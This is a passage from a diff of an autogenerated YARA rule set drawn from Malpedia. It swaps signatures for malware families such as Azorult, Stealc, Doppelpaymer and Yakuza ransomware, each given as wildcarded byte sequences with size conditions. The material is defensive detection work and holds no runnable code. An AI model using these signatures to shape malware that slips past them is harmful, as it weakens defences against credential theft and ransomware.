+		$sequence_16 = { 83c220 52 6a00 6a00 ff15???????? }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <423936
 }
-rule MALPEDIA_Win_Doppelpaymer_Auto : FILE
+rule MALPEDIA_Win_Kwampirs_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f239cfc1-7cb1-5c3d-a2a9-bf2ad44d0856"
+		id = "25decd9c-07db-5eba-ac2c-8b87bfe95cdd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doppelpaymer_auto.yar#L1-L181"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kwampirs_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "6c7514bbe70399e920b266dcf23ab956c2fd28d40abc6464ad39f41a291bdfca"
+		logic_hash = "6b54d71a60f0765ea0fd29b4cf202a2af753cd8f92ae599bc00fdafc2b919f65"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145127,40 +152107,32 @@ rule MALPEDIA_Win_Doppelpaymer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 80790600 7523 80790264 751d }
-		$sequence_1 = { 80790561 7517 80790361 7511 80790474 }
-		$sequence_2 = { e8???????? 8b08 e8???????? 3db6389096 }
-		$sequence_3 = { 83ec28 6800002002 6a00 6a01 }
-		$sequence_4 = { 80790264 751d 80790561 7517 }
-		$sequence_5 = { baffffff7f 43 e8???????? 3bd8 }
-		$sequence_6 = { 8d8c2450010000 e8???????? 89bc245c010000 8d442404 }
-		$sequence_7 = { e8???????? 8d8c2424030000 e8???????? 6a10 }
-		$sequence_8 = { c20400 8b4e44 8b4110 5e }
-		$sequence_9 = { 8955ec e8???????? 8d0d6f302b00 890424 894c2404 e8???????? 8d0d34302b00 }
-		$sequence_10 = { 890c24 8945c8 e8???????? 8b4de8 890c24 8945c4 }
-		$sequence_11 = { c3 8b45e8 b99054c837 8a55f3 80c2c9 2b4df4 }
-		$sequence_12 = { 83ec08 8b4508 8b4054 89e1 894104 }
-		$sequence_13 = { 8945c4 74d0 e9???????? 31c0 8b4db8 83c104 }
-		$sequence_14 = { 5b 5d c3 b8e2f49a29 2b45ec 8b4dcc 81c1ffff0000 }
-		$sequence_15 = { e8???????? 8b4de8 8b55d8 895128 8b75c4 897114 }
-		$sequence_16 = { a1???????? ffd0 8945bc 31c0 8b4de8 83c154 8b55e8 }
-		$sequence_17 = { c20400 8b400c 8b4810 56 8b700c 57 }
+		$sequence_0 = { 50 8d45f0 64a300000000 8965e8 8bf9 33db }
+		$sequence_1 = { e8???????? b001 8b4df0 64890d00000000 59 }
+		$sequence_2 = { 51 e8???????? 83c404 a3???????? 33f6 }
+		$sequence_3 = { 3bf3 7642 56 e8???????? 8907 }
+		$sequence_4 = { 668955f4 33d2 668955f6 e8???????? 83c40c }
+		$sequence_5 = { c3 32c0 8b4df0 64890d00000000 59 }
+		$sequence_6 = { 8d4df0 51 68???????? e8???????? 83c40c 32c0 }
+		$sequence_7 = { 6a00 6800001000 6a03 6a00 }
+		$sequence_8 = { 83c404 8a45e7 8b4df0 64890d00000000 59 5f }
+		$sequence_9 = { 33c5 50 8d45f0 64a300000000 8965e8 8bf9 33db }
 
 	condition:
-		7 of them and filesize <7266304
+		7 of them and filesize <2695168
 }
-rule MALPEDIA_Win_Coredn_Auto : FILE
+rule MALPEDIA_Win_Azorult_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "06de0230-4bd5-5e45-a730-cba0310a794f"
+		id = "b51dfae0-9dbd-5fdb-9b21-c42d24abe8fe"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.coredn_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.azorult_auto.yar#L1-L156"
 		license_url = "N/A"
-		logic_hash = "706fde100ad28c7717e1440d078632bf0db4418173418e843d6c6c3781f1d1c0"
+		logic_hash = "57462241e7f147f9f02722e7f4f98394823c33b074e00b1372b7118c997d7f9f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145174,37 +152146,38 @@ rule MALPEDIA_Win_Coredn_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 56 8d45fc 8bf1 50 e8???????? 85c0 }
-		$sequence_1 = { 7506 48 bf7a000780 c60000 8bc7 5f 5b }
-		$sequence_2 = { 8a1c06 84db 741c 8818 4a 40 }
-		$sequence_3 = { 83ea01 75e7 8851ff b87a000780 }
-		$sequence_4 = { 8be5 5d c20400 85c9 7506 48 bf7a000780 }
-		$sequence_5 = { 8bec 56 8b7508 ba04010000 2bf1 }
-		$sequence_6 = { 8a040e 84c0 7415 8801 41 83ea01 }
-		$sequence_7 = { 85d2 750d 8851ff b87a000780 5e }
-		$sequence_8 = { 8b550c 83ec20 33c9 8bc1 3914c5a81b4100 7408 }
-		$sequence_9 = { 8b45fc 81784890334100 7409 ff7048 e8???????? 59 c70701000000 }
-		$sequence_10 = { eb04 85c9 7508 83e802 bb7a000780 33c9 }
-		$sequence_11 = { c644241301 f6c301 744c 8b442414 }
-		$sequence_12 = { e9???????? c745e0a4124100 eba2 894ddc c745e0a4124100 e9???????? c745dc03000000 }
-		$sequence_13 = { 660fd60f 8d7f08 8b048d942e4000 ffe0 f7c703000000 7413 }
-		$sequence_14 = { 23c1 eb55 8b1c9d30d24000 56 6800080000 6a00 53 }
+		$sequence_0 = { 50 ba???????? 8d45e8 e8???????? 8d45e4 8b55f8 8a543201 }
+		$sequence_1 = { e8???????? 56 8d85a0fdffff b9???????? }
+		$sequence_2 = { b9???????? 8b55fc e8???????? 8b859cfdffff e8???????? }
+		$sequence_3 = { b80f270000 e8???????? 8945f8 8d55f4 8bc3 }
+		$sequence_4 = { b80f270000 e8???????? 8bf0 b80f270000 }
+		$sequence_5 = { 7518 56 8b45fc e8???????? 8bc8 8d5301 }
+		$sequence_6 = { b80f270000 e8???????? 8bd8 b80f270000 }
+		$sequence_7 = { ba03000000 e8???????? 8d858cfdffff e8???????? }
+		$sequence_8 = { 7506 ff05???????? 56 e8???????? 59 }
+		$sequence_9 = { e8???????? 59 8b45f4 40 }
+		$sequence_10 = { 50 e8???????? 59 8bd8 33c0 }
+		$sequence_11 = { 85db 7404 8bc3 eb07 }
+		$sequence_12 = { 011f 59 8bc3 c1e003 01866caf0100 }
+		$sequence_13 = { 014f18 8b4714 85c0 0f854e010000 }
+		$sequence_14 = { 014110 5f 5e 5b }
+		$sequence_15 = { 01590c 8b45f0 014110 5f }
 
 	condition:
-		7 of them and filesize <270336
+		7 of them and filesize <1753088
 }
-rule MALPEDIA_Win_Feed_Load_Auto : FILE
+rule MALPEDIA_Win_Cryptoluck_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "de841c4a-765f-51dc-8d45-847efc3fe997"
+		id = "a59fe2e6-4321-5ca6-b53f-4f7ee8914f9a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feed_load"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.feed_load_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptoluck_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "904d3316a4655c20d123c0cfc976a8494c8f04b302e9078044dfcb4ef1ebf390"
+		logic_hash = "6db6bc0e7d4030ac1b4c7c7367ac728b4b155db8cbff6f59645d89ef531abf3a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145218,32 +152191,32 @@ rule MALPEDIA_Win_Feed_Load_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48897c2428 4d8bc5 41b940200000 e8???????? 85c0 0f84e2000000 }
-		$sequence_1 = { 0f97c1 493bd2 eb27 4c8d42ff 418a00 4d8d4c24ff 413801 }
-		$sequence_2 = { 41898500400000 488bfd 4d8bfa bd01000000 83fb0d 0f8c42030000 41690ab179379e }
-		$sequence_3 = { 668928 e8???????? 4c8d86500c0000 488bcf e8???????? 4c8d442440 488bcf }
-		$sequence_4 = { 7876 3b1d???????? 736e 488bc3 488bf3 48c1fe06 4c8d2d7a220200 }
-		$sequence_5 = { 0f8c60040000 41837e0800 4c8d05b755ffff 7429 49635608 48035608 0fb60a }
-		$sequence_6 = { 8bd5 ff15???????? 448bc5 488bd6 488bc8 4c8bf0 }
-		$sequence_7 = { 488bc2 4903c7 4103df 803800 75f5 3bdf 7207 }
-		$sequence_8 = { 4c8d3de9c00100 49393cdf 7402 eb22 e8???????? 498904df }
-		$sequence_9 = { 488d157b020200 488d4d88 e8???????? cc }
+		$sequence_0 = { 7409 c745d880720010 eb07 c745d878720010 837d1000 7409 c745d475720010 }
+		$sequence_1 = { 44 15f40010ff 35ec001eff 20d7 59 392d???????? 1288ff35d403 }
+		$sequence_2 = { 8b85e4fbffff 50 e8???????? 83c408 8985c4fbffff 83bdc4fbffff00 }
+		$sequence_3 = { 8b4df8 51 ff15???????? 85c0 7431 8b550c }
+		$sequence_4 = { 85c0 0f84e8000000 c745ec00000000 8d45ec 50 8d4df0 51 }
+		$sequence_5 = { ff15???????? 85c0 7419 8b4d14 }
+		$sequence_6 = { 99 2bc2 8bc8 d1f9 8b45ac 99 2bc2 }
+		$sequence_7 = { ff15???????? 8b0d???????? 51 8b95c8fdffff 52 68ff0f0000 }
+		$sequence_8 = { c60000 8b4de0 83c101 894de0 8b55dc }
+		$sequence_9 = { ff15???????? 8985e8faffff 83bde8faffffff 0f84d9000000 b8424d0000 668985d4faffff 8b8df4faffff }
 
 	condition:
-		7 of them and filesize <512000
+		7 of them and filesize <229376
 }
-rule MALPEDIA_Win_Playwork_Auto : FILE
+rule MALPEDIA_Win_Bolek_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "18efebc1-2ecf-5ebd-a5ef-f5649e46ba89"
+		id = "21f1a0ba-06a1-5668-aea4-333af031f0f6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.playwork_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bolek_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "a4351b5bd2d1c3d515bb6fc22faeca44797e61833bdb6ed02e20384700f78521"
+		logic_hash = "28c372302adc63618e82259e643572bec2793a354bb442ed761054ecd6bf8112"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145257,32 +152230,32 @@ rule MALPEDIA_Win_Playwork_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { a801 7410 e8???????? 6a1a 99 59 }
-		$sequence_1 = { 3350fc 0fb6c9 8bf2 c1ee18 }
-		$sequence_2 = { 68???????? eb48 68???????? eb41 68???????? 8d85e8f7ffff 68???????? }
-		$sequence_3 = { 8b5008 89560c 8b500c 83e904 895610 0f8469010000 }
-		$sequence_4 = { 3dea000000 0f850e020000 8b5dfc 85db }
-		$sequence_5 = { 8bdf c1eb10 3330 83c010 8975dc 0fb6f3 }
-		$sequence_6 = { 8b4014 894618 8d4e1c c1c808 8bd8 8bd0 }
-		$sequence_7 = { 03c8 81f9ffff0000 7d04 56 53 ffd7 56 }
-		$sequence_8 = { 8d8594f7ffff 50 8d85f4fdffff 50 ff15???????? }
-		$sequence_9 = { 0fb6db 3370fc 8bce 8975f8 c1e918 8b3c8d34573f00 8b4df0 }
+		$sequence_0 = { 894c2454 8bc7 8b8c24ac000000 8bdf 0facc808 33ed c1e318 }
+		$sequence_1 = { 3b31 72e1 51 e8???????? 59 8bc7 5f }
+		$sequence_2 = { 8bcd 0fa4c117 0bf9 c1e017 0bd8 8bcd 8b442460 }
+		$sequence_3 = { 8d86f4000000 50 e8???????? 83c418 56 6880000000 ff750c }
+		$sequence_4 = { dd442418 dc0d???????? dd1c24 68???????? 8b1d???????? 8d44242c 6a40 }
+		$sequence_5 = { eb7a 3c03 0f85bf000000 53 6a01 8d442428 50 }
+		$sequence_6 = { 85c9 746f 803900 746a 6a2c 51 890f }
+		$sequence_7 = { e8???????? eb07 814f7c00040000 5f 5e 5d 5b }
+		$sequence_8 = { 89448c20 41 83c304 ebd0 8bac2434030000 8b9c2430030000 85db }
+		$sequence_9 = { 83e4f8 83ec68 8364242000 8364242400 8b450c c744241001234567 c744241489abcdef }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <892928
 }
-rule MALPEDIA_Win_Open_Carrot_Auto : FILE
+rule MALPEDIA_Win_Yakuza_Ransomware_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a3d97757-e9bd-5b96-a3d4-9f325722b76a"
+		id = "11a15f28-8d6d-50f2-ab84-992f1017bc03"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.open_carrot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.open_carrot_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yakuza_ransomware"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yakuza_ransomware_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "bc0e7aafdfe5fe87787ac92bf2b362a8818b18c35ce921dfe615312cba0c80f1"
+		logic_hash = "f6b4887f1e5f8fb585f51d15a1308ea3aa15725a1e02d02f26222a8f601e98de"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145296,32 +152269,32 @@ rule MALPEDIA_Win_Open_Carrot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b910000000 e8???????? 4889442430 c700ffffffff 48c74008ffffffff 8b4c2438 8908 }
-		$sequence_1 = { b9c8dcfb75 ffc1 c1e106 83e9ff 83c101 6807ab8f5e 4c893424 }
-		$sequence_2 = { ffd0 eb05 bd01000000 440fb6e5 443bed 7c7a 488b15???????? }
-		$sequence_3 = { 8bc3 e9???????? 41b805000000 488d153c9a1800 488bcf e8???????? 85c0 }
-		$sequence_4 = { ffcf 488d9512070000 4903d4 4c63c7 664289b445100f0000 e8???????? 6639b510170000 }
-		$sequence_5 = { 4881cb3f000000 48c7c000020000 4981c46f000000 4809f0 4d0fb72424 4881c204000000 4809c6 }
-		$sequence_6 = { 83fe07 7772 4c8d0dad8df9ff 4863c6 418b8481f0750600 4903c1 ffe0 }
-		$sequence_7 = { e9???????? 488d05de191400 894c2420 4c8d2dabb30f00 89742424 eb42 488d05aeb30f00 }
-		$sequence_8 = { 4c8d0d91850b00 8d4a98 448d42ef e8???????? e9???????? 4c8b4310 488bd7 }
-		$sequence_9 = { 7422 41b8a3000000 488d15c7ff0900 e8???????? 48898380000000 4885c0 0f842f010000 }
+		$sequence_0 = { 8bd1 d1ea b8ffffff1f 2bc2 3bc8 7607 8bc3 }
+		$sequence_1 = { e8???????? 3b780c 730e 8b4008 8b34b8 85f6 0f85d7000000 }
+		$sequence_2 = { d1f8 837e1408 7202 8b36 50 ff7508 8bce }
+		$sequence_3 = { 6a01 6a01 57 8d4d80 e8???????? 8b4580 8d4d80 }
+		$sequence_4 = { 8d7018 83c030 8b11 03c7 50 03f7 56 }
+		$sequence_5 = { c745fcffffffff 56 8b4de0 41 51 53 8bcf }
+		$sequence_6 = { 8b4f14 8b5614 85c9 743e 85c0 750d e8???????? }
+		$sequence_7 = { eb17 0fb74644 8d4e24 50 e8???????? 6a2d 8d4e24 }
+		$sequence_8 = { 8b06 6a02 51 53 8d8d50ffffff 51 8bce }
+		$sequence_9 = { c745f000000000 c7461000000000 c7461407000000 668906 8945fc 8bc3 c745f001000000 }
 
 	condition:
-		7 of them and filesize <8377344
+		7 of them and filesize <2811904
 }
-rule MALPEDIA_Win_Stration_Auto : FILE
+rule MALPEDIA_Win_Stealc_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b1ff0234-14a0-5584-b678-4973125b246b"
+		id = "539cf538-cfac-56e1-8a82-eaf8270c6c0b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stration"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stration_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stealc_auto.yar#L1-L108"
 		license_url = "N/A"
-		logic_hash = "1e976189a59a2a64efd8d3bfcb5fabcc1cb05f5b8a248de2fec831e10609d819"
+		logic_hash = "6bf18991e2a395daac8cbfec9f407668e110581410c7e2de7aedba9cee95d9f0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145335,32 +152308,32 @@ rule MALPEDIA_Win_Stration_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 6a01 baf1000000 8bcb e8???????? 55 6a01 }
-		$sequence_1 = { 56 e8???????? 83c408 6a00 6a01 baf1000000 8bcd }
-		$sequence_2 = { e8???????? 680b040000 56 8944241c }
-		$sequence_3 = { c1fa05 891424 8bd1 52 e8???????? a3???????? 8b4c241c }
-		$sequence_4 = { ba11010000 8bce e8???????? c705????????00000000 }
-		$sequence_5 = { 8b15???????? 89442404 a1???????? 894c2408 8a0d???????? 89442410 8954240c }
-		$sequence_6 = { 33f6 85ff 893d???????? 7517 a1???????? 85c0 c605????????00 }
-		$sequence_7 = { 8a540404 c1e910 32d1 88540404 }
-		$sequence_8 = { 83f80d 7cec 8b15???????? a1???????? 8b0d???????? 891424 668b15???????? }
-		$sequence_9 = { eb05 bd14000000 660935???????? 8d542434 52 8d8424b4000000 }
+		$sequence_0 = { ff15???????? 85c0 7507 c685e0feffff43 }
+		$sequence_1 = { 68???????? e8???????? e8???????? 83c474 }
+		$sequence_2 = { 50 e8???????? e8???????? 83c474 }
+		$sequence_3 = { e8???????? e8???????? 81c480000000 e9???????? }
+		$sequence_4 = { 50 e8???????? e8???????? 81c484000000 }
+		$sequence_5 = { e8???????? 83c460 e8???????? 83c40c }
+		$sequence_6 = { e8???????? e8???????? 83c418 6a3c }
+		$sequence_7 = { ff15???????? 50 ff15???????? 8b5508 8902 }
+		$sequence_8 = { 50 ff15???????? 8b5508 8902 }
+		$sequence_9 = { 7405 394104 7d07 8b4908 3bca 75f0 8bf9 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <4891648
 }
-rule MALPEDIA_Win_Andromut_Auto : FILE
+rule MALPEDIA_Win_Gspy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dba8d7dc-66b9-5da2-b280-7c7cd5055ee5"
+		id = "3f030d66-0807-5220-809f-f602620cbb65"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.andromut_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gspy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gspy_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "97f484310b347cbce8f6e0e26b13796260e2f5f5c7183f29f706e1875ad44a4f"
+		logic_hash = "74604d1b3decfab056910daf59a9f74fcce729f63057c78e0ce83dfa1bab2af0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145374,32 +152347,32 @@ rule MALPEDIA_Win_Andromut_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b75f8 6bc828 8b441914 03441910 b9aacd12d8 50 56 }
-		$sequence_1 = { e8???????? 8d850cffffff 50 8d8574ffffff 50 8d95fcfcffff 8d8d74fcffff }
-		$sequence_2 = { c785fcfeffff84408441 c78500ffffff842c8415 c78504ffffff843c840d c78508ffffff841c8423 }
-		$sequence_3 = { e8???????? 8d8de8fcffff 51 8d8dd8faffff 51 ffd0 }
-		$sequence_4 = { 83c40c c745d4e278e238 c745d8de58e218 c745dcdef8dcb8 c745e0e498e0f8 }
-		$sequence_5 = { e9???????? 83bde4feffff06 0f85cf000000 8b85e8feffff 83f803 7524 83ef02 }
-		$sequence_6 = { 8bd0 51 ffb5fcfcffff 8d4dcc e8???????? 59 }
-		$sequence_7 = { f3ab 8b7dfc b802210000 6689443e16 0fb7443e06 }
-		$sequence_8 = { 53 6a0a 6a18 8d8510f4ffff c645fc02 50 e8???????? }
-		$sequence_9 = { 5a 84c0 745c 8d4601 894588 f7e2 0f90c1 }
+		$sequence_0 = { 57 52 c70600000000 ff15???????? 8b4608 8b1d???????? 85c0 }
+		$sequence_1 = { 50 8d4c242c 51 e8???????? c744240812000000 eb2f 6a1c }
+		$sequence_2 = { 8d4c2404 51 6a00 50 ff15???????? a3???????? 85c0 }
+		$sequence_3 = { 8b542420 51 57 6800000220 52 e8???????? }
+		$sequence_4 = { ff15???????? 85c0 0f8408010000 56 57 50 e8???????? }
+		$sequence_5 = { 85f6 0f8434ffffff 83f8ff 750d 33c0 3806 }
+		$sequence_6 = { 0f87b0000000 833e00 89742410 76b3 8b4604 a900000c00 }
+		$sequence_7 = { 0f83ed000000 6a10 6a00 8d442440 50 e8???????? c744241468be4200 }
+		$sequence_8 = { 03cb 51 03d6 52 e8???????? 013e eb08 }
+		$sequence_9 = { 6801000080 c744242000000000 c744241c04000000 c744241801000080 83ceff ff15???????? 85c0 }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <421888
 }
-rule MALPEDIA_Win_Rapid_Ransom_Auto : FILE
+rule MALPEDIA_Win_Imprudentcook_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ffd06a30-064b-5d5c-9708-094ba6b3f858"
+		id = "da16e08a-4583-5528-aff9-b355b3ccc1ad"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rapid_ransom_auto.yar#L1-L164"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.imprudentcook"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.imprudentcook_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "467069894b412bd66ec7bc5db00e763aed4734a1d880a5b3cc4cb8b392b71ec1"
+		logic_hash = "dc1ba99de715ff44414f303429509d324c0251135a2ef150545d89588c26b553"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145413,37 +152386,32 @@ rule MALPEDIA_Win_Rapid_Ransom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 6801000004 6800a40000 ff75f8 }
-		$sequence_1 = { 83ec10 53 56 57 8bf9 32db 8bf2 }
-		$sequence_2 = { 83ec1c 53 57 8bf9 8bc2 }
-		$sequence_3 = { ff15???????? 6a00 ff75f8 ff15???????? 5e 5f 8ac3 }
-		$sequence_4 = { 7509 803a00 0f840c010000 8d742464 b8???????? 84db }
-		$sequence_5 = { 56 8bf2 8975fc 57 8bf9 85db }
-		$sequence_6 = { e8???????? 83c430 8d45f4 6800010000 }
-		$sequence_7 = { 7425 ff7514 8b542418 8bce ff7510 c644241701 57 }
-		$sequence_8 = { 0f8483000000 eb7d 8b1c9df8584100 6800080000 }
-		$sequence_9 = { 740e 50 e8???????? 83a6e8d0410000 59 83c604 }
-		$sequence_10 = { 8be5 5d c3 ff75e0 e8???????? 53 e8???????? }
-		$sequence_11 = { eb72 8d04cd00000000 2bc1 46 8935???????? c6048564d3410001 893c856cd34100 }
-		$sequence_12 = { 6804010000 8d85a4feffff 8bf1 6a00 50 }
-		$sequence_13 = { 40 c745ecf54e4000 894df8 8945fc 64a100000000 8945e8 }
-		$sequence_14 = { 83c9ff c7430c01000000 c7431000000000 eb2f }
+		$sequence_0 = { 488d3c0b 483bf9 4983d200 4883ee18 4d03da 4d03d9 48ffcd }
+		$sequence_1 = { 4983c708 4983c508 48ffc9 75ec 49894500 488b5520 488d4fff }
+		$sequence_2 = { 4d8bc4 498bd2 eb08 4c89642420 4c8bc7 }
+		$sequence_3 = { 488d04ed00000000 4c03f5 4803f5 48ffc3 4c03f8 4c3bf7 7ec8 }
+		$sequence_4 = { 4c8bcf 4d8bc5 498bd4 e8???????? 488b9580000000 41b901000000 4d8bc6 }
+		$sequence_5 = { 4d3bfe 0f8c45ffffff 4c8bac2488000000 4f8d7c2d00 498bde 4d3bf7 }
+		$sequence_6 = { 8807 e9???????? 81fb0b000100 0f8dfb030000 81fb0000007e 0f87f7030000 85db }
+		$sequence_7 = { 4803c2 48c1f806 488bf8 488bd8 488b8424c0000000 4c8d1cf8 48c1e306 }
+		$sequence_8 = { 4833c2 482bc2 488bd3 493bc2 7d1a 4c895c2428 4c89442420 }
+		$sequence_9 = { e9???????? 48ffcd b938000000 90 488bc3 48d3e8 84c0 }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <864256
 }
-rule MALPEDIA_Win_Blackbyte_Auto : FILE
+rule MALPEDIA_Win_Acidbox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ae2ced49-3989-5cc9-8c98-64c5f933a895"
+		id = "d24270e3-4ecb-5df0-834e-54ac9b4880c3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackbyte_auto.yar#L1-L158"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acidbox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acidbox_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "1cee2f7e2bce0af57e75d6fdf4454ccb725b7569d4236140429240d2a7df1fe9"
+		logic_hash = "7566f8c225df846294fd9c5a92e8c14928b074fdcd922768eae6047a40a5ef6e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145457,40 +152425,34 @@ rule MALPEDIA_Win_Blackbyte_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d15bc010000 4889542478 4889842480000000 488d542478 4889942490000000 c644242701 }
-		$sequence_1 = { 488d0db4020000 488908 833d????????00 7520 488b4c2428 48894808 }
-		$sequence_2 = { 0fb64210 88442408 0fb64211 88442409 }
-		$sequence_3 = { 0fb6420b 8844240b 0fb6420c 8844240c 0fb6420d 8844240d 0fb6420e }
-		$sequence_4 = { 488d4a01 488b442428 488b5c2430 4883f903 }
-		$sequence_5 = { 0101 ffc5 3b6b68 0f82e6feffff }
-		$sequence_6 = { 488d542478 4889942490000000 c644242701 488b9c24a8000000 488b8c24b0000000 e8???????? }
-		$sequence_7 = { 488d4250 488b542430 488d5a50 b918000000 }
-		$sequence_8 = { 0fb6420d 8844240d 0fb6420e 8844240e 0fb6420f 8844240f }
-		$sequence_9 = { 488d542470 4889942488000000 c644241f01 488b9c24a0000000 }
-		$sequence_10 = { 488d4a01 488b442430 488b5c2438 90 4883f90f }
-		$sequence_11 = { 0fb64212 8844240a 0fb64213 8844240b }
-		$sequence_12 = { 0fb6420f 8844240f 488b442408 48894108 }
-		$sequence_13 = { 488d5c244b b902000000 0f1f440000 e8???????? }
